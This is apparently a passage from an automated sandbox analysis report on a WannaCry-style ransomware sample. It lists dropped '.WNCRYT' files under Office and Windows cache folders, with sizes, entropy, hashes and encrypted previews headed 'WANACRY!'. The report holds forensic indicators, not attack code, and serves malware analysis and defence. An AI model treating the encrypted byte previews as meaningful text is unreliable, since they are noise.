                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):8840
                                      Entropy (8bit):7.976569016476572
                                      Encrypted:false
                                      SSDEEP:192:j/EBHSnsgU+39x1MBAevRPMCNqo+X1uuh:4TgU+39x1MB1dMuMu8
                                      MD5:4F1B67D3EA4072B7EB3E4969BCAB2A99
                                      SHA1:5723C69F383F51E58074275AE4FCD552CC76CFD1
                                      SHA-256:DC05A0892CA13617F10F5834AB8BFA34F6136897D2AD49DFC81B9E34728FA09C
                                      SHA-512:8E2A1D062585C3E36B637E3F8B5E0F0C83B5D2B68B991433EC44C0CCA4C7543ADA4A5A18927968F71BC6E627E9798633E44EAEED24A33CA54DB82A34DAEF3E83
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....v...6.^..?[.`.O...T..%..1K..n[.^a.......n.R.#...O..]..M...W.q^.~}.Z....MrJJ......,......K.Z. .[..MzJ.C.....q.u.....2.......]..=zBy`>1I.0j....NywKZy{s...b.SV......|.J.F....!2...X}..F3>0.`...g%.|l4../..TS.#.%..Q;Fs1...kkcHx.FS.u.yU...o(.....c....i!........$.?T..i.#.N.<l<k.l.F...^D.I...~.-.]m..e....%....ZK.~...Ab).o../....x/...H....3?!.W.U........~.g$.....L....QI.d$...0.r:A.VU..f...!...{0..!jn..wUZ...Uq&.??.{......w0.V....?.8.wX.7..d..Z.(.....N......H..1>...A.9.-U...?.Jy-.).'`.a......" ......7....V..0U..{.Dt...W....o.!z.JM...q!h.Z....F.... (..a..u.)...S..S..RI....{Z..5(B...e.`?...2`.<^...y.....}..8.0j?t....`..)...s,...k.=u%..4.7..[...QV....4s.{UQ..0.7..........He..(.M2.v....@.~.n0..Qd.....W{.....<.i...U[....._-..C.Uo...Nk.]E?z.?.".R.!`...7...8F.].............0.#.8`c-h..p...q.....6....S...7....b.,.....?Yv.6.k..v....D5.P..H.....z...da/...<.s.8..Q=n....QK_azA:.kF@pm....._..Q3Q.....)..<9.x#..p..4..8.......a..YG...9.>Ohm.}...X#^.......

                                      C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-US{BBE0BDBE-F41F-4225-8E17-87C64C39622B}\{0E4C83E9-AF47-4427-91EB-AED65562D02E}mt66963475.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):7944
                                      Entropy (8bit):7.976015579941176
                                      Encrypted:false
                                      SSDEEP:192:vdlHlFuNxh5/Sl+fCpQlY/lDCOFbBOxQLMud3:l9lFkJ/znYdzBLj
                                      MD5:CE020CF72FAEE05FD101A66CB781FA63
                                      SHA1:4077B8F243F9478B12C5EB86D24A225718D47BE2
                                      SHA-256:F4775ED67661DA48FE330718EA6766E668E7AD3D24732D8DCB88943A9FB48B70
                                      SHA-512:6DF241CAD45F3D228872BFD6D2ED045DBC81C790BBBD489A4A172A2FFF0AD4B231486B8849D634AE90ADD896CBD39F885B39B4DC3D67C044CE31F47274BE98FB
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......k....n.1.....{...V...:/..j.B.....d.h....Q..bf{7....".xV69U.....v_8O......Q..5...r.....M...,a\..I.7$..yVt..+..P....F..s.}P...?...m...g......Z.....I....,|......<....d..,..E...u.).r".ft c../.n.#...)....Nd.....%.:^H{.E..i.G~^y:...s...WR..(s..6.XX.................z......W.&#...o....:....(..B.O.../...*xPuG....H..Y...?EL.....(.L...,?m.%.O......k..........2..,...Y...+Nd...U...;e!...@F..o..@...._.:.Ey.X..rD23p.....6......z8k./v.z...p$..{..C.C...OmBW'|..Osw...H..w...2t.l.w/...g.qY.]1.*...n2.......}b..H. p......S.'._.1t}.$rQ.F...SK...Z._#.O.BO..B}....iuA..fx......C.s..3.%s?P.......x.2.L..E=%.. B.b.C.D.....s>.?.....D..b...%.'g..w.:.._.H/...UKw...O.......p..+ .\'..4./0....p:..2..)D....$Mem....yw<.]ie.!..#^...6.~..'.|a...[..."/^`.X-. "Hjf.w..`81.h."...{%O.b[r....GJ.l..(.*.V........%..u-N{O....s..A.e..B......+..`d......M.....<WC.....?!2)N.f-..$KbN.:F.u...^...S....K,.E.MI.k..F2...1.<.....v.JJ...r.B8.2.l+.|.0..>....C\eEQ.=...iF|F`/..[jO....../....

                                      C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-US{BBE0BDBE-F41F-4225-8E17-87C64C39622B}\{2C3729F5-6B1A-4F06-B77C-2AB41C959EB6}mt11829122.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):14408
                                      Entropy (8bit):7.9880608801148885
                                      Encrypted:false
                                      SSDEEP:384:H53PlqPc8JeBur85eiltaWl2duzCAE5NxoB85:HRlq08JB84itrlCuM5NWBe
                                      MD5:C48ED79688281C039592598BE5437CF0
                                      SHA1:2932D501086CC2F40D2137D19B9711AAEB32F790
                                      SHA-256:BCE1E6D553D78B8B2C4C6668B7A18767C64039168D8A97788F106A4E92D05DE3
                                      SHA-512:2114C614E6FD9593B3D5CEF3DC2F749D33A6D8044A3B3CFDE8625F0E1836C31A3B768F08E66A8CE734DC77F9464F9962F20050366DD1EE026EC99D9A6861416A
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......K..fv.ZN.8..Q.X1.!.....#x~b......jm<.1...o.v....sn.I..].......#M........o.4^MTC....j{......@....W.....W .M......Rd..VGk...G&[..wyl.G.n....M......6.2,M!]).}.9....d....n.c8'.).i.1I)...B>.A..9..^.g...=.f(.E..+=..o...a.....V......2....=W.NM.``.)....+7.......J.4..cY...>...iwE..`....g..;...z-.>.Z...]..DT.......N>.8=.A..q.9....7.K....MV.....u.. .-...o.2.,g1e......1.....C.N.....'"..Uw..t..D.....@..T..Q.....5o&..a..@.El8'l.....^R=.*}.&...;.'....*..H.>.V....B^.m..B].J. ..'8&...l...r....`.......,Y..+.F..0.-..M.ue.[}.........g.......@x.....X......n....Fh\g...T....!._.Z..O.D.Q.'\.;.lw.}[.^E.DM.x.~./.)]..UD.3'..L......e%...p!...T.S).A9...|.W'D.0.>.?k\....-.{............$..Y.u.@C..b...^...xH....!}...>..w{6:}p.<-4........;.4y!!."I....3.e....~<..R-...C..I......\."cY.%2.AU'....W<~..C..c..OC.2..[A..k..s,,{.E.7.k..lN......#+e..`.kZ.p...Q..V...r*.-)j......#...M>..6.Q....4.j$.O...Pi......<C.20..(w.&.hO.3...'6$N:..k.x...m.Z...p..V._..p.

                                      C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-US{BBE0BDBE-F41F-4225-8E17-87C64C39622B}\{8E108E7E-651B-4D15-9446-304CDAAB8AF9}mt10000137.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):5240
                                      Entropy (8bit):7.969552828003252
                                      Encrypted:false
                                      SSDEEP:96:oSRnfb9k33WReZzXqAHGuI0tVqlfg9OAqvnrjcBGhhIktLOT4lw:NRn+WQZzXjtklo9OAWNhUow
                                      MD5:5DF59F664E410E5E25C6CBCCBB6E20E5
                                      SHA1:C537E79A6E433CE66E2992E712EDC01887015201
                                      SHA-256:01A16C42143DCDF7CC37E979C1FAA2E6149B9EA76845C4853A4540B9F2F8B372
                                      SHA-512:B550FEA014326BE9E04B7B45F7D6AA3B793F6A25C0BF834BEE689E6109B26F4B4F20B05F01099160CDBD9732CFC188C62008C6CF009A67FB218B35153A4EFD4D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......|..T...L.r...Ly.7a..xu...lR.....y..j.s.$fJG.[........Wm7......oHs.S.i....<.B.L..j...w..h..x.....I7.:_.....|.|*.....f..[.a..u.;..`..1*.N.RV.0e.. ..Ck<.1.E..~\....2u;L$k..M.........545ib..N..}B@....V...3x#l........r.f.....b..1~.}.J.Q..s]..+=..o....._.......{n...eB1...V".....).i...r.Y..8....U5...4......F![IE...~s.z.ED..}uJm&.?V.%W49_.{(I...+..Ge.z.Z.lv....c..~.....-...k.D...S~_9pN..u..`.$...J..,....Z.:.....h.F.V..`...v...."...x8L...W.....c.8&3i...#.b..B>.O....0X.<odn:.......CE!6.... .Uc......$....'w..R,..:T........9.N...#..........q.X`"..l...........;...e*.,Fh}..V..A.B{.t[i:ySQ8S.q....b..=.c...]..'.-.q.Q.+.o../.7k.d.M.@lNP'|V.e._..!.?.e..../.r.;P16.......I.Q8.k?.......L..&....._.4.D..m."..SA..}.Z.'.yk.c.........MB.....8....3...C.9....*-..>.)V..jK......./XXG.hA+....u.%I...2\>..\u...?.5C".K.J.*..h...,.e..Bb..a.%..+.v..N,i..oY..LG...Y...9jN.S..cia ...u>.\.0.Y.n........&A4.<....E........>..B..o5k.#~}.j.g~..U..c....]~@}.n..../....w..dB{

                                      C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-US{BBE0BDBE-F41F-4225-8E17-87C64C39622B}\{920EC2BC-61C3-40DF-86C2-1E647F210A9F}mt16400647.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):7384
                                      Entropy (8bit):7.976274878891924
                                      Encrypted:false
                                      SSDEEP:192:ZvbwJZDOxTtANdRKDbRfwXuZi3wfcLrSrpuepveWt7:ZvTIXebRIeZigfmrStuepGWt7
                                      MD5:8D6EE51DFDBD59EEF8801429735589D0
                                      SHA1:8298E55DA772B48AF717B14BCFCBA855FACF4A0C
                                      SHA-256:6DC6EA2829D41DEFF9BDF972456F2FA49267CB0D1A69B4AC01FB803B9ECC9208
                                      SHA-512:1F1612BDFB60C255B2016E53E5C42341B0606F212296118AA011E15F06AF6755E5AED3580DEF81FF2F6B8E8D430F94C580795CBAEC24D3126A8884C49525E197
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....V.nZ.^...7.....T.....B]..(szE.:..33..B.[..#=..W.8O...,.eD.[C.o&Lt....;.....r.}......j...X.o\|....{..?f.e...2H.I..p}^..y....;J....<;...ls'gZ.......?c..0..?.....R.....T.ps..........m.....A...t(......5>5.:..ZD.5..rRU.g....|j.P..".+.....o7*)}..:.................{JU......l.7.c...R...N'gI..5. wzD....yp..J`>b..& ...l...v.d."...b.<B@.[.}.g6.....l.[....B.t..}uOT.. .o.H.j%;..0...N.A.....R.#..r.R.f>..;.[.'.../.S...o.../..l..(.R.......E..ipSE.dgCR"H>...*.c..O.s*.>..g..b.472/.O.j..}.0...H4[{.....3.@.=.z.uLA[.>..Z....Q.k.w..w...&...<..|.x bg3m.)...2...5G...4.btfB.h&.~+.T.\......R.2...o..BI.@.<...7....B.t*......(\...R.@..."k.'fpSI..+.._-...%.'...1..qR...f~.r.LA.....@k.......Mz...t.f..3.........eP./..".......>.{.t.~f...f.yV:f.$F.u_.a.U.$./.......Ae^..-....B.Q...T'C.#.`.......C.u.6).K.n.8>Y..<DW./......]Zb-...F.vk.wO.@..mjOj.R)...N.CYGJ..={1..mA6.e...`x.T..._.u.....E..Q.."'...<...........9P...L.h!.%.......1.^b.'..[....g.,>....*D.,..XR...z|..?..@..r+7

                                      C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-US{BBE0BDBE-F41F-4225-8E17-87C64C39622B}\{A26B3E48-AE08-4429-A0F3-46650603BDAD}mt67739505.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):9032
                                      Entropy (8bit):7.979875156313717
                                      Encrypted:false
                                      SSDEEP:192:5r3cOsHIII9QciuIK6+lUtIRfmHu76I50R43adW:tMiIs6+lvRfuuh2xdW
                                      MD5:0F8C19C1728A7E758967208F1048D818
                                      SHA1:199B6618844EA9A9B65FA8C15EEF7BAAE5FB91DF
                                      SHA-256:98FBC42CEC7579FD0AE0DB928271CFBCDA63F798301EA9849C87225BCB3DCDE3
                                      SHA-512:3209EBCA770EC9B3C0643F81961F6B4071DFE3BA3E8B47D019DD461424731DA90994D37D3899793C9DA1D347549D2C1A7430EA3558406E22FFBB8CF3E88FE683
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....s.~. .s.Q..~L...K%...v...{..n.g..i.D.)..k.8..5........[.z.l...'....6(.Q.=.....f(".A.4.K..[F..X.$...1. ~=u2......]^6.u3;.1.c.\t...K.r......]+H....[I..Q.......*.....60Q..s.d2.9Fo..........?.1k'F.K.....j.......Lw...t.Mt.3U(V...t....N.-.(..-.!._.{Q.6.1@....*"........&Q........c.....R}.L*.$....{...L6...?..k......Q..........s....s.h)y.<.&=...L..;...:f,...2j.z..S.I%_.."......w.n.C!.29L........o.kfN..p......O....tuL...sX.X#..[...c..-..M>.x|....,../........z.8..%..e.....D.x.......*m.-K..3..F....,.?CBhw.j...k...D..M+.s*,J...2.....+]s...|.........(.L.<)./z.HQZX.X{}....m.H......8+.`.ro......'..w..N.Wd...ub.Hx.wc...Hv....?..eHDs..]....=..k.$...f......Z..A..q...DA...!^... g..."=s.$.)..Qs...B....(.....Z.t....?..g..(3..!&V.3...../.L...HH.i........Z.9......g..s...w..(O.:=.{.....m.^@sb.Au.6i`+y...EH...u.V....Z.........}o.4.7......p....>.4...W.TJ."xU.4....'...;..P...N{.....B.F...`.A........%{...z[...{<. b.u..g..D.+"u....q.N.....?Y...'*"....

                                      C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-US{BBE0BDBE-F41F-4225-8E17-87C64C39622B}\{C5106F55-DE69-4257-BD69-461E3E514242}mt16400656.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):7032
                                      Entropy (8bit):7.971818857613558
                                      Encrypted:false
                                      SSDEEP:192:FWhpdWfYNLF+n5zTZwtKrJRda1EQxe9xtaoOKEx:Mhpo8LF+nxKtSTUeYfR
                                      MD5:11751A9F846A2ECE69FF36C00FC47B2E
                                      SHA1:AF3ECB932DE81692DD13C0A068A3901C7ACBFAF9
                                      SHA-256:E4DC61E810269AFD2D48C1C94BA0D79BD5239737ED5EFAF1E3D14FC3C1FF2352
                                      SHA-512:CABEEEA2188CFF8B3A9643F4ADF0322B1041E3BD95B0882F5CAB14ECE0CF0D7CC13BF2B3D0D3EDA7473AD4639AFEC0B8394CD3DEF0F9DA760A4FAD442FE0CC9B
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....x..-_...H_QH...;c..8........4..b9.g.Kk..|........$n..e....1`VQ..%D.K..K....M.....LX......jQ%?...E.^.........D..L......,....ap....&.r7FXvo.]Y....0iU........t.w.....+Y.R.`...1^I...Q..I.......I\..*|..9'.g....4r...d.".Io..u.k.../'........V.........T........pe.p/..3;~g\.7...R....8.."....<.T[1,;..h5.,....d.[.....l`n.i..HF..G..ZK....}.1& p ...|<J.J........W..F....\.m..3......JT#....E.L......S..65. 4....UWE....`.~..".=.|I.......S.!_uV.&.^.kQ..g.#..c0\R...V..7.!.a.\M:wj.&.Zlf.Z....Z..."...U....q.Cpw..+..6.>.h*....g...|l.5SY..`.D...[4u...x$.3g.m .....M!...M...h.%....G.j.r..._~....t-v....7C.fB.......N@....e..R....nv.Dl..S..O4..y...y.<.`...o..9..e]...B.B1.....h.(..w4...B|a..9~.`.VQ2\.:~Z........u.^...{QZ.q...=Ur.^........j.lR.$D..-.....0.5..B*q...[...2.D5,aUq.{..a.........X...f...O{......F'.....N...%@....A..o..d.F....k.8Qe.y.b...?,_....?.;...2.v..G..tL..8.O.[>\n-.2.....Dn.Ke..H......}..H....A. .vc......).N...7....`}.....uP....UM..&f....r.

                                      C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-US{BBE0BDBE-F41F-4225-8E17-87C64C39622B}\{EDFEDB66-CDB9-48D2-8CF5-3FCBFE2E5068}mt45299826.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):8984
                                      Entropy (8bit):7.979577033773229
                                      Encrypted:false
                                      SSDEEP:192:KynVA70/kpvw0PTm4L/ElxkMvzPhrmVoLzWzZTJ85FcH2b5fcAXu8iWxrNE:JVA7FpoyKblGWzxmCLgZ98fIoEK4QNE
                                      MD5:B57E7A4EE61A4774BE98B2C528F066A6
                                      SHA1:CC7DF1A8A72A04F54B1C6764120568BE146FDF7D
                                      SHA-256:302A329305C771CE1E2577E5BC10862113ED3A441C0891BFFBAF93BECFCE86CA
                                      SHA-512:8B58BCA8469BC6D3C93EBB20A39792B8DDA3AD1FFD19F57D8D101D4028FC794D7093EEEE40FD4DE25F5F58E8CF3E36021D4DFBCB9904B5AC650650F2E5C3AB75
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....V....7@....q.... ..7|.2...n....dv0...n...l.f.&....)...[...Ka..],#.(...#.8.....E.3.X..P....}..exf}{/....P..4./&ge.-.R..?..-.....d.#.J*hC].$A-6Bc..E..O.......m.{........7......k^..gE..#.r..Z=\....<{Z.Tws...i._../..3....YTy.|....|.>*=rP.........G.d.....!........F..N..uP.#E.@.N\.RK....V.g....{.s.....c...lF.5?...1.......X"^FJ.s.$..>0.!h.u.......z.i..6 ....W..!..W..k.u{..F....@.5.7#;i(Hrh.C.D].cf.4...(..+...$..X"?.......gA.!.4p...s.$..P.....(#H..........:.......$../..I...........I@.7..I)..}...n&...fhP.~..bzB..|.M...q......&_...11.v.:.|h.M.&../..F..=...(.3.$.DG........@.-l.....o......O..&6.`x..`;...]..r\^....Y:....iS5.f....B\..G.k..M......nk..~7.n{..:...h4...m...e.Y.....8..k..'`L....N....D..0.@...e...(...fW./9?.5...V.m.......u.+}@.3...[...w..Y.Mm-..HDg($..j(l.!.d..9...f...6k2zX..x.x....J........npv...I..@.......[gp.:k.r...n..Z.{y..%.}.m.dT.R...6^..GVC..g...]..b6....5.;'E....{M.3.P$.]@.........w..-.<_.......]....9.'PW..K*......O;z*..

                                      C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):24856
                                      Entropy (8bit):7.992699619257603
                                      Encrypted:true
                                      SSDEEP:768:aPigPV6HwCtiM1Ut5Cm57VygLMI7ZJJjIjZhtAZ:a1w4Mk5Cm94MfjoZv4
                                      MD5:041C7BBCD6295BD7F740921B4279B5D7
                                      SHA1:EB6419ADFB55F5A321492C438B3D2F1F2C34782C
                                      SHA-256:3E38D74A91A36939E589DF6C73ECB50784DF6D28C7FC0A376A5C2D6F90DDAA1D
                                      SHA-512:8957E6AA990DC4C743D7E83F456E58C1748467711FFF97B38D08B8BA1394F9585A9CDB175DA36531DACBBAD532B130DD5130C0796FAB3E2FE3F017143822241E
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.......u.......L......$.f3w...i...7...5_.......@..Q.....(.......<)E.R...P.@.v...{..h.(d.[.s.q..].Vw.7.iE5\en...1d+..(..\/>.cD....nx%...?<v..xP..p...eprIk..q`.:Q=$bp..|.~.;B..q.........gv.m.F.].b..Cn..%K.$.}......./`>....co^...?-.p....-..(...]..(.o.....`......=..../F.H..].+~EH<h.........>..'CC.....r..vIJ^#i.CT....'....6by.. .a+".u.@[.O.p+n.;....C..?=H....8x..V.dU<V.l@Q.~.d..s.U.z.\..c.. `5..aXp.<..T.'Z.<.........:f...6.k.;K.I.D...j..f........R..L.....=Y......t....v C.......1v...xI._].BT..+..cG'u!q.e...-..}...vM;.z=9.....H.c\...h....pp.#..Dm...>.3.}.......;..8....0MU...a/...[.K..&..C0W.>.^Z..Y[{.5..q.g...g.....U..i....(....Ofb... g.)........{.]..4&.5...q....g$<....7D....u....[K/.....y..MH.c.*w..a...w#w_.........9.rE8...).sx...:.;...T_v.....T.TH..>...C..M..uy.]..M.0#q.....P.Zd.<.H2.......]...%C5..:~R..%e...,?...U..*AM..$).x...r..q.v.3.Q......Z.~.W......./.#.........6.........3.....~.....X1$B.....&7.G..#...#.Dp.#V..-..*%.

                                      C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):24856
                                      Entropy (8bit):7.992525527066085
                                      Encrypted:true
                                      SSDEEP:768:Sj+uW//s+b9LGPLFhUd64QRk+Z5FqTyiLXL3dphpgd:a+bsy64UZ5F6y6XXgd
                                      MD5:2A448863EB5AB4AC1DD3D9627F33B4CF
                                      SHA1:7248C9D46AF27212508767C44FBBFC7C900A1153
                                      SHA-256:89978D0C13E33EA20F86E2762CEC6789A48F7E7146B98D5660B8B20620E291B2
                                      SHA-512:B35E429A13578BBBA74E52B13216376B2841A1BAB54B9F2D005D896A1F95C43237AEB5ECCA6FB89D6B0FD6C8FD382A48C7F7872159B7F508CE7820C825A8120A
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!...........d.p......;~......%.$.....x.lO.?P.g....2........7..Ul%.s..3bX...:.v...i.....A...XUu.xd..pj...%..8..8..c.....yV..tE.c........y...j..........n......K&.9I....GO.G....?..{V&....5.{...].t.w..L3c.J......~......O.5...M......h......X..<}.q..[.J.>.....`......O<.i...s...Q.j.l....}....^.d.YR....kF...u.U..\Ez..>....eD..9..u.6t.N...D.z...^..t....`..4f..{..@2...X...5..l..V......w..V...M.i...........g.......%..|.d....o.t..i......Y..^..b.7..$N..8qK.n!.....a..#.......+...^...G......4.+.4i.zR....l..x.......h..}.n..$.....vKW......$K..'?.8......@....8.!..^..n...O..9..z.....]'C.S.:.D..`..X.xb...E)<.....C,.....42...Bt..N..</4.Tg.<.^.9.Hi4.....T[W.........Z..\...,Yd...|...^%>q....j.[.H......L.>G...{y..N.....3+..2^Ik..]......h+..5o.S.z......xX.|.V.9.........%.ts.....?..".S..M.k..D...._...!G.....Yd.b..F..+|..|..'.....=..&b..]L...?..H....i.5b....>x.8F....j.0v........".YjR...!k4;.l?j.._.b..)....r....=.7-I..g.t....f....%...-......P..Am..

                                      C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):24856
                                      Entropy (8bit):7.991832683727753
                                      Encrypted:true
                                      SSDEEP:384:wCnW/4g+sIRl+JM8lS9iWO/OLn1138C5WO6/pZ88DOdVzbqs+NP433FmrP:wHwg+R+JLlGNn11M+1Mg8SdxWjNP4H2P
                                      MD5:650EBBC075B25342E542043286876929
                                      SHA1:6A2C0A8E486BFE6510B1F3EB15D79022009C4A1D
                                      SHA-256:5CC8B40C402FBA14B1CEAE5B9FD948B8143B1542DACB41BE5272CB4CC5B61D0A
                                      SHA-512:83F033BDF5AFD03358206D16F49BDCB88C80244D8F0F6024E92EDD22774A5B6EA2CA09E0442D2D591AA3E63748F9A993CF168960681BBBCFAA5ECAAEDD28AE2C
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....n.[.:.`..m,......\-...Nlv..........W..Kn...%;*#.?V...b.P........w.:.....i....x9IE...wj.u....y.`C.E.... e....6.H.`jI..-...|g..C.......[.A(O.]'..........jg..4.}*.c.qmj|..{.....?..l.>!z...:r..g.F.Ya-........Y....8.m..M.ra..(N..)...B..`..-........`.........*.xh......Ag.>P...t..h..8jDLF.'.R.'9...U.a...3]......~.y...IE.`.d`Y....OIa..}..*6...U@`t..K<1...._q...U.....<..h.YB1.RZm....+......eA....Xa.R..{lE`c.Q...}......j......i.!.`4.D........Fu...\...-...5.O..@..>..F.E..u.s.9^..J...B._.V..[..v *.{.y...$x...']H.5.9...9........:.P.c'...(..:>)......h.{........f^..-.j!.......x;..Q8.. .A...p@..F...}..*.S..p..g..M6x.H.3..z...3..}..&5..............t...R\n.r.6...&..D....R.^u.G..u7=..0#..q..a...U......@L...&p...@Z..|.O.@I.1.P.lr.}~hRQ6..-..;....l....{,..7..U.....;rM....x.uV.n....5...M.c.!]..G..k.^.A"...^...E.<..M.lv.X.&/.aJ."[...'...'....s1ciw...... l..Jj.:}l.p..n....Y&.`.......#...).m.......A...a......qr.p...p}..&.C`..b....WA.AD.W......C.t

                                      C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):4376
                                      Entropy (8bit):7.957613520501951
                                      Encrypted:false
                                      SSDEEP:96:o7RmuQ9SwCVI3YaTs34ZO0LpacpatG8hADfA/xN4mFp:I2SweRwdnatBYYpN4mr
                                      MD5:E8CEB97EF053C6448A2AF4F4CA688CF5
                                      SHA1:D14B01FC37458AE002BA1E015A5704FBF7EAC7CA
                                      SHA-256:1D0DF623E8893E02B121C51F80BF9724CB6179743E4F92C9590649B8A6A14C78
                                      SHA-512:7E35DF3D75BE19EB790ACDC7DF3DEF68BE062F8EE8096431080D223B330ED2E59DA7F0DE60B2BA37B0BAB323FFBFAD22AADBDA4C714C5F8B7D3D38372CEA8510
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....d!r.....+.....k]#.\n...S..\..AV...i=i.(T.R......O.Q4......k..R..6..B{+..`..X.~o.M..(0..#...p.;... ..(.-i.;..+.}.....:....../.0..;B.`.FQ>..a.....t.....;J..;1.&....q....R...k.t....".g.$2_m..R..4...,..[...\.).?y...j>#[..s.K.3...I.....c...kguh.sS.h.jLB............KK-GK.~Wd.7.N..`.e! M.....h.gWq....GHRg...R.{jWX..?z..&..oh.O....,..m.n61.=.Y....|..w.rp;;..|L5^.>..x..3.].;...~:@0e.qS}h...Z..+.....jL...B.-Q..e26.t.=.]....P}P.'..^....,.L.....A.L....-..j...N".R.:B.S.&.)..@...7O..(|*t..1|..V.n..=.!..Z.#=....+q4r$V.2.:.\..../..S...(..+....;.k.......|..Y...+........g.B...C.(m..ur....}.A..Ts.M|.'SM...]..Y...+C.0.V."..>7G.Z\ao..D..dB./....m..9fs.D...3=T..T......;Jh+.a..x.{E....z>+.h..1.Eh.;<..V.I&....Z ..g.L....7.j......".L.>.V$....}kP...U....Mk.._....X.UgH..]E.5#.D....o6.t...7..L...,.u..}`.e!].~MF.....M]..UVV...O3.LR9....c.>...[.......@..s..........%.(7...Kz7D.....T..,.5..td.B'..z.O>!.Jp...<..p...s{#....5.j. .r.0...A.Mv...-.K..Y....:..........4....n..G

                                      C:\Users\user\AppData\Local\Microsoft\Office\OTele\winword.exe.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):24856
                                      Entropy (8bit):7.99321870584162
                                      Encrypted:true
                                      SSDEEP:384:nMZ1VtLw1NWWsk/GE7ehLrx4NxvKU4T8aTvzNFZV6Y1NFXjfX++KIe/:kJwqWsJhLKrKFT/zZ96Y1LzfdKF
                                      MD5:E99B58C7325C3F18E45D5A733FD0EA7E
                                      SHA1:FEFD1696EC2AB4D4A7E681A5C02EF5630530FADA
                                      SHA-256:C66387EB436B5E5471BBE879D1F8D701C693B1783F2DDE1868916C6A69C5BA03
                                      SHA-512:3081E7E646CF34D6CAB24F064C077A943F2251F53725FAADBDB965C737CE862B75BCA99B917A27A095172ACD859B9E2540804F28E64A0680E7CC6E427328F444
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....[..S.....8a5.U.w%c...&'.p=..d....<..b.\...=..M.~I'..|}.L...G...t...C...jF6G9..e..[..i}..b..d..)..X....e.$.IY......~r(...@kSp.....Co...-..4..'GC.Lj.M.....p..f..F.^..F...!......+......K...J....f.......9.W\nz.<p....b#$...v..Q...H..b..l&...F{.....`......c..0.kbgf.:.X.!.@H.'..._.}.]`......7....N...xa..5..|N..Vy1...Ke7.YB4.p.......j.....p..%.`.]....hCy...e..,~,...j. p..4......Y..%fJ.e..s........w....%V...z.dJ...tc5G..Q|ud..a..2=D....zD2.8Z......W....y.?.H95"......~...Ve..t.h...'.C.6.P...x.f........P......)...T.....a...".8U..F..RH..Y.Qs1..I..Z{.J....Ks=.NW.+.o........\E..,..D51n..9..C.b....s{...........2..WN.5."@.Lc.A<!....q...d.....SE..GTh_h...qx.w........h..B1R?-Y.O.....u....../..%8H.C.....A.@jl.JJW.....'.s=.%MF.L-...(1.......D.....`.d.i.......n...a....8....B.UD.....v..N.E..%Z....d.N.i\t.EHfy.^.l.>.Rl.i.N.Q.g@>L`o.5...w.\.j...*..ss. M..3..0.\......Qh.......(.g.L..S=.....B.X!..9...(.6.^.9...q.J...{...B^0.&]f.(..8cKC?e.bh.d.%..

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.1.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):16664
                                      Entropy (8bit):7.9886837690802555
                                      Encrypted:false
